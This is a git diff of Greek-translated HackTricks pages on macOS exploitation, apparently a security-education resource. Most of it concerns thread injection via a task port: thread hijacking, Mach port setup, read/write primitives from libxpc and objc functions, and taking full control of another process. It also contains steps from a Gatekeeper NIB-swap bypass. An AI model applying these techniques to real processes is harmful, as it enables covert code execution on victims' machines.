Αντιγραφή της εφαρμογής σε διαφορετική τοποθεσία (π.χ., `/tmp/`). +2. Μετονομασία φακέλων εντός του πακέτου εφαρμογής για να παρακαμφθούν οι αρχικές προστασίες. +3. Μετά την εκτέλεση της εφαρμογής για να καταχωρηθεί με τον Gatekeeper, τροποποίηση του πακέτου εφαρμογής (π.χ., αντικατάσταση του MainMenu.nib με το Dirty.nib). +4. Επαναφορά των φακέλων και επανεκτέλεση της εφαρμογής για να εκτελεστεί το εισαγόμενο αρχείο NIB. + +**Σημείωση**: Οι πρόσφατες ενημερώσεις του macOS έχουν μετριάσει αυτήν την εκμετάλλευση αποτρέποντας τις τροποποιήσεις αρχείων εντός των πακέτων εφαρμογών μετά την αποθήκευση στην κρυφή μνήμη του Gatekeeper, καθιστώντας την εκμετάλλευση αναποτελεσματική. + + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index cf58c4bc0..4b680bb29 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -1,50 +1,63 @@ -# macOS Εισαγωγή Νήματος μέσω της Θύρας Task +# macOS Thread Injection via Task port + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Κώδικας +## Code * [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec) * [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36) -## 1. Απαγωγή Νήματος +## 1. Thread Hijacking -Αρχικά, η συνάρτηση **`task_threads()`** καλείται στη θύρα task για να λάβει μια λίστα νημάτων από το απομακρυσμένο task. Ένα νήμα επιλέγεται για απαγωγή. Αυτή η προσέγγιση αποκλίνει από τις συμβατικές μεθόδους εισαγωγής κώδικα, καθώς η δημιουργία ενός νέου απομακρυσμένου νήματος απαγορεύεται λόγω της νέας αντιμετώπισης που αποκλείει την `thread_create_running()`. +Αρχικά, η **`task_threads()`** συνάρτηση καλείται στην θύρα εργασίας για να αποκτήσει μια λίστα νημάτων από την απομακρυσμένη εργασία. Ένα νήμα επιλέγεται για hijacking. Αυτή η προσέγγιση αποκλίνει από τις συμβατικές μεθόδους έγχυσης κώδικα καθώς η δημιουργία ενός νέου απομακρυσμένου νήματος απαγορεύεται λόγω της νέας μείωσης που μπλοκάρει το `thread_create_running()`. -Για να ελέγξετε το νήμα, καλείται η **`thread_suspend()`**, διακόπτοντας την εκτέλεσή του. +Για να ελέγξει το νήμα, καλείται η **`thread_suspend()`**, σταματώντας την εκτέλεσή του. -Οι μόνες επιτρεπόμενες λειτουργίες στο απομακρυσμένο νήμα περιλαμβάνουν την **παύση** και την **εκκίνησή** του, την **ανάκτηση** και την **τροποποίηση** των τιμών των καταχωρητών του. Οι απομακρυσμένες κλήσεις συναρτήσεων ξεκινούν τοποθετώντας τις τιμές των καταχωρητών `x0` έως `x7` στα **ορίσματα**, ρυθμίζοντας το **`pc`** για να στοχεύει την επιθυμητή συνάρτηση και ενεργοποιώντας το νήμα. Για να διασφαλιστεί ότι το νήμα δεν θα καταρρεύσει μετά την επιστροφή, απαιτείται η ανίχνευση της επιστροφής. +Οι μόνοι επιτρεπόμενοι χειρισμοί στο απομακρυσμένο νήμα περιλαμβάνουν **σταμάτημα** και **εκκίνηση** αυτού, **ανάκτηση** και **τροποποίηση** των τιμών των καταχωρητών του. Οι απομακρυσμένες κλήσεις συναρτήσεων ξεκινούν με την ρύθμιση των καταχωρητών `x0` έως `x7` στις **παραμέτρους**, ρυθμίζοντας το **`pc`** για να στοχεύσει τη επιθυμητή συνάρτηση και ενεργοποιώντας το νήμα. Η διασφάλιση ότι το νήμα δεν θα καταρρεύσει μετά την επιστροφή απαιτεί ανίχνευση της επιστροφής. -Μια στρατηγική περιλαμβάνει την **εγγραφή ενός χειριστή εξαιρέσεων** για το απομακρυσμένο νήμα χρησιμοποιώντας την `thread_set_exception_ports()`, ρυθμίζοντας τον καταχωρητή `lr` σε μια μη έγκυρη διεύθυνση πριν από την κλήση της συνάρτησης. Αυτό προκαλεί μια εξαίρεση μετά την εκτέλεση της συνάρτησης, αποστέλλοντας ένα μήνυμα στη θύρα εξαίρεσης, επιτρέποντας την επιθεώρηση της κατάστασης του νήματος για την ανάκτηση της τιμής επιστροφής. Εναλλακτικά, όπως υιοθετήθηκε από την εκμετάλλευση triple\_fetch του Ian Beer, ο `lr` ρυθμίζεται να επαναλαμβάνεται απεριόριστα. Οι καταχωρητές του νήματος παρακολουθούνται συνεχώς μέχρι ο **`pc` να δείχνει σε αυτήν την εντολή**. +Μια στρατηγική περιλαμβάνει **την καταχώριση ενός χειριστή εξαιρέσεων** για το απομακρυσμένο νήμα χρησιμοποιώντας το `thread_set_exception_ports()`, ρυθμίζοντας τον καταχωρητή `lr` σε μια μη έγκυρη διεύθυνση πριν από την κλήση της συνάρτησης. Αυτό προκαλεί μια εξαίρεση μετά την εκτέλεση της συνάρτησης, στέλνοντας ένα μήνυμα στην θύρα εξαίρεσης, επιτρέποντας την επιθεώρηση της κατάστασης του νήματος για την ανάκτηση της τιμής επιστροφής. Εναλλακτικά, όπως υιοθετήθηκε από την εκμετάλλευση triple_fetch του Ian Beer, ο `lr` ρυθμίζεται να επαναλαμβάνεται άπειρα. Οι καταχωρητές του νήματος παρακολουθούνται συνεχώς μέχρι **το `pc` να δείχνει σε αυτή την εντολή**. -## 2. Mach θύρες για επικοινωνία +## 2. Mach ports for communication -Η επόμενη φάση περιλαμβάνει τη δημιουργία Mach θυρών για τη διευκόλυνση της επικοινωνίας με το απομακρυσμένο νήμα. Αυτές οι θύρες είναι ουσιώδεις για τη μεταφορά αυθαίρετων δικαιωμάτων αποστολής και λήψης μεταξύ των tasks. +Η επόμενη φάση περιλαμβάνει την εγκαθίδρυση Mach ports για να διευκολύνει την επικοινωνία με το απομακρυσμένο νήμα. Αυτές οι θύρες είναι καθοριστικές για τη μεταφορά αυθαίρετων δικαιωμάτων αποστολής και λήψης μεταξύ εργασιών. -Για διπλής κατεύθυνσης επικοινωνία, δημιουργούνται δύο Mach δικαιώματα λήψης: ένα στο τοπικό και ένα στο απομακρυσμένο task. Στη συνέχεια, ένα δικαίωμα αποστολής για κάθε θύρα μεταφέρεται στο αντίστοιχο task, επιτρέποντας την ανταλλαγή μηνυμάτων. +Για αμφίδρομη επικοινωνία, δημιουργούνται δύο δικαιώματα λήψης Mach: ένα στην τοπική και ένα στην απομακρυσμένη εργασία. Στη συνέχεια, ένα δικαίωμα αποστολής για κάθε θύρα μεταφέρεται στην αντίστοιχη εργασία, επιτρέποντας την ανταλλαγή μηνυμάτων. -Επικεντρώνοντας στην τοπική θύρα, το δικαίωμα λήψης κατέχεται από το τοπικό task. Η θύρα δημιουργείται με τη χρήση της `mach_port_allocate()`. Η πρόκληση έγκειται στη μεταφορά ενός δικαιώματος αποστολής σε αυτήν τη θύρα στο απομακρυσμένο task. +Εστιάζοντας στην τοπική θύρα, το δικαίωμα λήψης κατέχεται από την τοπική εργασία. Η θύρα δημιουργείται με το `mach_port_allocate()`. Η πρόκληση έγκειται στη μεταφορά ενός δικαιώματος αποστολής σε αυτή τη θύρα στην απομακρυσμένη εργασία. -Μια στρατηγική περιλαμβάνει την αξιοποίηση της `thread_set_special_port()` για να τοποθε +Μια στρατηγική περιλαμβάνει την εκμετάλλευση του `thread_set_special_port()` για να τοποθετήσει ένα δικαίωμα αποστολής στην τοπική θύρα στο `THREAD_KERNEL_PORT` του απομακρυσμένου νήματος. Στη συνέχεια, το απομακρυσμένο νήμα καθοδηγείται να καλέσει το `mach_thread_self()` για να ανακτήσει το δικαίωμα αποστολής. + +Για την απομακρυσμένη θύρα, η διαδικασία είναι ουσιαστικά αντίστροφη. Το απομακρυσμένο νήμα καθοδηγείται να δημιουργήσει μια θύρα Mach μέσω του `mach_reply_port()` (καθώς το `mach_port_allocate()` δεν είναι κατάλληλο λόγω του μηχανισμού επιστροφής του). Μετά τη δημιουργία της θύρας, καλείται το `mach_port_insert_right()` στο απομακρυσμένο νήμα για να καθιερώσει ένα δικαίωμα αποστολής. Αυτό το δικαίωμα αποθηκεύεται στη μνήμη χρησιμοποιώντας το `thread_set_special_port()`. Επιστρέφοντας στην τοπική εργασία, χρησιμοποιείται το `thread_get_special_port()` στο απομακρυσμένο νήμα για να αποκτήσει ένα δικαίωμα αποστολής στη νεοδημιουργημένη θύρα Mach στην απομακρυσμένη εργασία. + +Η ολοκλήρωση αυτών των βημάτων έχει ως αποτέλεσμα την εγκαθίδρυση Mach ports, θέτοντας τα θεμέλια για αμφίδρομη επικοινωνία. + +## 3. Basic Memory Read/Write Primitives + +Σε αυτή την ενότητα, η εστίαση είναι στη χρήση του εκτελέσιμου primitive για την εγκαθίδρυση βασικών primitives ανάγνωσης και εγγραφής μνήμης. Αυτά τα αρχικά βήματα είναι κρίσιμα για την απόκτηση περισσότερου ελέγχου πάνω στη απομακρυσμένη διαδικασία, αν και τα primitives σε αυτό το στάδιο δεν θα εξυπηρετήσουν πολλούς σκοπούς. Σύντομα, θα αναβαθμιστούν σε πιο προηγμένες εκδόσεις. + +### Memory Reading and Writing Using Execute Primitive + +Ο στόχος είναι να εκτελούνται αναγνώσεις και εγγραφές μνήμης χρησιμοποιώντας συγκεκριμένες συναρτήσεις. Για την ανάγνωση μνήμης, χρησιμοποιούνται συναρτήσεις που μοιάζουν με την παρακάτω δομή: ```c uint64_t read_func(uint64_t *address) { return *address; } ``` -Και για την εγγραφή στη μνήμη, χρησιμοποιούνται συναρτήσεις παρόμοιες με αυτήν τη δομή: +Και για την εγγραφή στη μνήμη, χρησιμοποιούνται συναρτήσεις παρόμοιες με αυτή τη δομή: ```c void write_func(uint64_t *address, uint64_t value) { *address = value; @@ -59,12 +72,12 @@ _write_func: str x1, [x0] ret ``` -### Αναγνώριση Κατάλληλων Συναρτήσεων +### Identifying Suitable Functions -Μια σάρωση των κοινών βιβλιοθηκών αποκάλυψε κατάλληλους υποψήφιους για αυτές τις λειτουργίες: +A scan of common libraries revealed appropriate candidates for these operations: -1. **Ανάγνωση Μνήμης:** -Η συνάρτηση `property_getName()` από τη [βιβλιοθήκη Objective-C runtime](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) αναγνωρίζεται ως μια κατάλληλη συνάρτηση για την ανάγνωση μνήμης. Η συνάρτηση παρουσιάζεται παρακάτω: +1. **Reading Memory:** +Η συνάρτηση `property_getName()` από τη [βιβλιοθήκη χρόνου εκτέλεσης Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) αναγνωρίζεται ως κατάλληλη συνάρτηση για την ανάγνωση μνήμης. Η συνάρτηση περιγράφεται παρακάτω: ```c const char *property_getName(objc_property_t prop) { return prop->name; @@ -72,97 +85,97 @@ return prop->name; ``` Αυτή η συνάρτηση λειτουργεί αποτελεσματικά όπως η `read_func` επιστρέφοντας το πρώτο πεδίο του `objc_property_t`. -2. **Εγγραφή Μνήμης:** -Η εύρεση μιας προκατασκευασμένης συνάρτησης για την εγγραφή μνήμης είναι πιο προκλητική. Ωστόσο, η συνάρτηση `_xpc_int64_set_value()` από την libxpc είναι ένας κατάλληλος υποψήφιος με την ακόλουθη αποσυναρμολόγηση: +2. **Γράφοντας Μνήμη:** +Η εύρεση μιας προ-κατασκευασμένης συνάρτησης για τη γραφή μνήμης είναι πιο δύσκολη. Ωστόσο, η συνάρτηση `_xpc_int64_set_value()` από τη libxpc είναι κατάλληλος υποψήφιος με την παρακάτω αποσυναρμολόγηση: ```c __xpc_int64_set_value: str x1, [x0, #0x18] ret ``` -Για να πραγματοποιήσετε μια εγγραφή 64-bit σε μια συγκεκριμένη διεύθυνση, η απομακρυσμένη κλήση δομείται ως εξής: +Για να εκτελέσετε μια εγγραφή 64-bit σε μια συγκεκριμένη διεύθυνση, η απομακρυσμένη κλήση δομείται ως εξής: ```c _xpc_int64_set_value(address - 0x18, value) ``` -Με αυτά τα πρωτογενή στοιχεία έχει δημιουργηθεί το πλαίσιο για τη δημιουργία κοινής μνήμης, σημαντική πρόοδος στον έλεγχο της απομακρυσμένης διεργασίας. +Με αυτές τις βασικές αρχές καθορισμένες, η σκηνή είναι έτοιμη για τη δημιουργία κοινής μνήμης, σηματοδοτώντας μια σημαντική πρόοδο στον έλεγχο της απομακρυσμένης διαδικασίας. -## 4. Δημιουργία Κοινής Μνήμης +## 4. Ρύθμιση Κοινής Μνήμης -Ο στόχος είναι να δημιουργηθεί κοινή μνήμη μεταξύ τοπικών και απομακρυσμένων εργασιών, απλοποιώντας τη μεταφορά δεδομένων και διευκολύνοντας την κλήση συναρτήσεων με πολλαπλά ορίσματα. Η προσέγγιση περιλαμβάνει την αξιοποίηση του `libxpc` και του αντικειμένου του `OS_xpc_shmem`, το οποίο βασίζεται σε καταχωρήσεις μνήμης Mach. +Ο στόχος είναι να καθιερωθεί κοινή μνήμη μεταξύ τοπικών και απομακρυσμένων εργασιών, απλοποιώντας τη μεταφορά δεδομένων και διευκολύνοντας την κλήση συναρτήσεων με πολλαπλά επιχειρήματα. Η προσέγγιση περιλαμβάνει την εκμετάλλευση του `libxpc` και του τύπου αντικειμένου `OS_xpc_shmem`, ο οποίος βασίζεται σε καταχωρίσεις μνήμης Mach. -### Επισκόπηση Διεργασίας: +### Επισκόπηση Διαδικασίας: -1. **Δέσμευση Μνήμης**: -- Δεσμεύστε τη μνήμη για κοινή χρήση χρησιμοποιώντας το `mach_vm_allocate()`. -- Χρησιμοποιήστε το `xpc_shmem_create()` για να δημιουργήσετε ένα αντικείμενο `OS_xpc_shmem` για την δεσμευμένη περιοχή μνήμης. Αυτή η συνάρτηση θα διαχειριστεί τη δημιουργία της καταχώρησης μνήμης Mach και θα αποθηκεύσει το δικαίωμα αποστολής Mach στη θέση `0x18` του αντικειμένου `OS_xpc_shmem`. +1. **Κατανομή Μνήμης**: +- Κατανομή της μνήμης για κοινή χρήση χρησιμοποιώντας `mach_vm_allocate()`. +- Χρησιμοποιήστε το `xpc_shmem_create()` για να δημιουργήσετε ένα αντικείμενο `OS_xpc_shmem` για την κατανεμημένη περιοχή μνήμης. Αυτή η συνάρτηση θα διαχειριστεί τη δημιουργία της καταχώρισης μνήμης Mach και θα αποθηκεύσει το δικαίωμα αποστολής Mach στη θέση `0x18` του αντικειμένου `OS_xpc_shmem`. -2. **Δημιουργία Κοινής Μνήμης στην Απομακρυσμένη Διεργασία**: -- Δεσμεύστε μνήμη για το αντικείμενο `OS_xpc_shmem` στην απομακρυσμένη διεργασία με απομακρυσμένη κλήση στο `malloc()`. -- Αντιγράψτε το περιεχόμενο του τοπικού αντικειμένου `OS_xpc_shmem` στην απομακρυσμένη διεργασία. Ωστόσο, αυτή η αρχική αντιγραφή θα έχει εσφαλμένα ονόματα καταχώρησης μνήμης Mach στη θέση `0x18`. +2. **Δημιουργία Κοινής Μνήμης στην Απομακρυσμένη Διαδικασία**: +- Κατανομή μνήμης για το αντικείμενο `OS_xpc_shmem` στην απομακρυσμένη διαδικασία με μια απομακρυσμένη κλήση στο `malloc()`. +- Αντιγραφή του περιεχομένου του τοπικού αντικειμένου `OS_xpc_shmem` στην απομακρυσμένη διαδικασία. Ωστόσο, αυτή η αρχική αντιγραφή θα έχει λανθασμένα ονόματα καταχωρίσεων μνήμης Mach στη θέση `0x18`. -3. **Διόρθωση της Καταχώρησης Μνήμης Mach**: -- Χρησιμοποιήστε τη μέθοδο `thread_set_special_port()` για να εισαγάγετε ένα δικαίωμα αποστολής για την καταχώρηση μνήμης Mach στην απομακρυσμένη εργασία. -- Διορθώστε το πεδίο της καταχώρησης μνήμης Mach στη θέση `0x18` αντικαθιστώντας το με το όνομα της απομακρυσμένης καταχώρησης μνήμης. +3. **Διόρθωση της Καταχώρισης Μνήμης Mach**: +- Χρησιμοποιήστε τη μέθοδο `thread_set_special_port()` για να εισάγετε ένα δικαίωμα αποστολής για την καταχώριση μνήμης Mach στην απομακρυσμένη εργασία. +- Διορθώστε το πεδίο καταχώρισης μνήμης Mach στη θέση `0x18` αντικαθιστώντας το με το όνομα της καταχώρισης μνήμης της απομακρυσμένης διαδικασίας. -4. **Ολοκλήρωση Δημιουργίας Κοινής Μνήμης**: -- Επαληθεύστε το αντικείμενο `OS_xpc_shmem` στην απομακρυσμένη διεργασία. -- Καθιερώστε την κοινή αντιστοίχιση μνήμης με απομακρυσμένη κλήση στο `xpc_shmem_remote()`. +4. **Ολοκλήρωση Ρύθμισης Κοινής Μνήμης**: +- Επικυρώστε το απομακρυσμένο αντικείμενο `OS_xpc_shmem`. +- Καθιερώστε τη χαρτογράφηση κοινής μνήμης με μια απομακρυσμένη κλήση στο `xpc_shmem_remote()`. -Ακολουθώντας αυτά τα βήματα, η κοινή μνήμη μεταξύ των τοπικών και απομακρυσμένων εργασιών θα δημιουργηθεί αποτελεσματικά, επιτρέποντας απλή μεταφορά δεδομένων και εκτέλεση συναρτήσεων που απαιτούν πολλά ορίσματα. +Ακολουθώντας αυτά τα βήματα, η κοινή μνήμη μεταξύ των τοπικών και απομακρυσμένων εργασιών θα ρυθμιστεί αποτελεσματικά, επιτρέποντας απλές μεταφορές δεδομένων και την εκτέλεση συναρτήσεων που απαιτούν πολλαπλά επιχειρήματα. -## Πρόσθετα Αποσπάσματα Κώδικα +## Πρόσθετα Κωδικοποιημένα Αποσπάσματα -Για τη δέσμευση μνήμης και τη δημιουργία αντικειμένου κοινής μνήμης: +Για την κατανομή μνήμης και τη δημιουργία αντικειμένου κοινής μνήμης: ```c mach_vm_allocate(); xpc_shmem_create(); ``` -Για τη δημιουργία και τη διόρθωση του κοινόχρηστου αντικειμένου μνήμης στην απομακρυσμένη διεργασία: +Για τη δημιουργία και διόρθωση του αντικειμένου κοινής μνήμης στη απομακρυσμένη διαδικασία: ```c malloc(); // for allocating memory remotely thread_set_special_port(); // for inserting send right ``` -Θυμηθείτε να χειριστείτε σωστά τις λεπτομέρειες των θυρίδων Mach και των ονομάτων εισόδου μνήμης για να εξασφαλίσετε ότι η ρύθμιση κοινής μνήμης λειτουργεί σωστά. - +Θυμηθείτε να χειριστείτε σωστά τις λεπτομέρειες των Mach ports και των ονομάτων εισόδου μνήμης για να διασφαλίσετε ότι η ρύθμιση της κοινής μνήμης λειτουργεί σωστά. ## 5. Επίτευξη Πλήρους Ελέγχου -Αφού επιτύχουμε την εγκαθίδρυση κοινής μνήμης και αποκτήσουμε αυθαίρετες δυνατότητες εκτέλεσης, ουσιαστικά έχουμε αποκτήσει πλήρη έλεγχο επί της διεργασίας στόχου. Οι βασικές λειτουργίες που επιτρέπουν αυτόν τον έλεγχο είναι οι εξής: +Αφού καταφέρουμε να εγκαταστήσουμε κοινή μνήμη και να αποκτήσουμε ικανότητες αυθαίρετης εκτέλεσης, έχουμε ουσιαστικά αποκτήσει πλήρη έλεγχο της στοχευμένης διαδικασίας. Οι βασικές λειτουργίες που επιτρέπουν αυτόν τον έλεγχο είναι: 1. **Αυθαίρετες Λειτουργίες Μνήμης**: -- Εκτέλεση αυθαίρετων αναγνώσεων μνήμης καλώντας τη συνάρτηση `memcpy()` για την αντιγραφή δεδομένων από την κοινή περιοχή. -- Εκτέλεση αυθαίρετων εγγραφών μνήμης χρησιμοποιώντας τη συνάρτηση `memcpy()` για τη μεταφορά δεδομένων στην κοινή περιοχή. +- Εκτελέστε αυθαίρετες αναγνώσεις μνήμης καλώντας το `memcpy()` για να αντιγράψετε δεδομένα από την κοινή περιοχή. +- Εκτελέστε αυθαίρετες εγγραφές μνήμης χρησιμοποιώντας το `memcpy()` για να μεταφέρετε δεδομένα στην κοινή περιοχή. -2. **Χειρισμός Κλήσεων Συναρτήσεων με Πολλαπλά Ορίσματα**: -- Για συναρτήσεις που απαιτούν περισσότερα από 8 ορίσματα, ταξινομήστε τα επιπλέον ορίσματα στη στοίβα σύμφωνα με τον κανόνα κλήσης. +2. **Διαχείριση Κλήσεων Συναρτήσεων με Πολλαπλά Επιχειρήματα**: +- Για συναρτήσεις που απαιτούν περισσότερα από 8 επιχειρήματα, τοποθετήστε τα επιπλέον επιχειρήματα στη στοίβα σύμφωνα με τη σύμβαση κλήσης. -3. **Μεταφορά Θυρίδων Mach**: -- Μεταφορά θυρίδων Mach μεταξύ εργασιών μέσω μηνυμάτων Mach μέσω προηγουμένως εγκαθιδρυμένων θυρίδων. +3. **Μεταφορά Mach Port**: +- Μεταφέρετε Mach ports μεταξύ διαδικασιών μέσω Mach μηνυμάτων μέσω προηγουμένως καθορισμένων ports. -4. **Μεταφορά Περιγραφέων Αρχείων**: -- Μεταφορά περιγραφέων αρχείων μεταξύ διεργασιών χρησιμοποιώντας fileports, μια τεχνική που επισημαίνεται από τον Ian Beer στο `triple_fetch`. +4. **Μεταφορά Περιγραφέα Αρχείου**: +- Μεταφέρετε περιγραφείς αρχείων μεταξύ διαδικασιών χρησιμοποιώντας fileports, μια τεχνική που επισημαίνεται από τον Ian Beer στο `triple_fetch`. -Αυτός ο πλήρης έλεγχος ενσωματώνεται στη βιβλιοθήκη [threadexec](https://github.com/bazad/threadexec), παρέχοντας μια λεπτομερή υλοποίηση και μια φιλική προς τον χρήστη διεπαφή προγραμματισμού για την αλληλεπίδραση με τη διεργασία-θύμα. +Αυτός ο εκτενής έλεγχος είναι ενσωματωμένος στη βιβλιοθήκη [threadexec](https://github.com/bazad/threadexec), παρέχοντας μια λεπτομερή υλοποίηση και μια φιλική προς τον χρήστη API για αλληλεπίδραση με τη διαδικασία-στόχο. -## Σημαντικές Προσοχές: +## Σημαντικές Σκέψεις: -- Βεβαιωθείτε ότι χρησιμοποιείτε σωστά τη συνάρτηση `memcpy()` για τις λειτουργίες ανάγνωσης/εγγραφής μνήμης προκειμένου να διατηρηθεί η σταθερότητα του συστήματος και η ακεραιότητα των δεδομένων. -- Όταν μεταφέρετε θυρίδες Mach ή περιγραφείς αρχείων, ακολουθήστε τους κατάλληλους πρωτόκολλους και χειριστείτε τους πόρους με ευθύνη προκειμένου να αποφευχθούν διαρροές ή μη επιθυμητή πρόσβαση. +- Διασφαλίστε τη σωστή χρήση του `memcpy()` για λειτουργίες ανάγνωσης/εγγραφής μνήμης για να διατηρήσετε τη σταθερότητα του συστήματος και την ακεραιότητα των δεδομένων. +- Όταν μεταφέρετε Mach ports ή περιγραφείς αρχείων, ακολουθήστε τους σωστούς πρωτοκόλλους και χειριστείτε τους πόρους υπεύθυνα για να αποτρέψετε διαρροές ή μη προγραμματισμένη πρόσβαση. -Ακολουθώντας αυτές τις οδηγίες και χρησιμοποιώντας τη βιβλιοθήκη `threadexec`, μπορεί κανείς να διαχειριστεί και να αλληλεπιδράσει με διεργασίες σε λεπτομερές επίπεδο, επιτυγχάνοντας πλήρη έλεγχο επί της διεργασίας-στόχου. +Ακολουθώντας αυτές τις οδηγίες και χρησιμοποιώντας τη βιβλιοθήκη `threadexec`, μπορεί κανείς να διαχειριστεί και να αλληλεπιδράσει με διαδικασίες σε λεπτομερές επίπεδο, επιτυγχάνοντας πλήρη έλεγχο της στοχευμένης διαδικασίας. ## Αναφορές * [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index bc94d2b8e..052a69540 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -1,48 +1,63 @@ -# Έλεγχος Σύνδεσης Διεργασίας XPC στο macOS +# macOS XPC Connecting Process Check + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
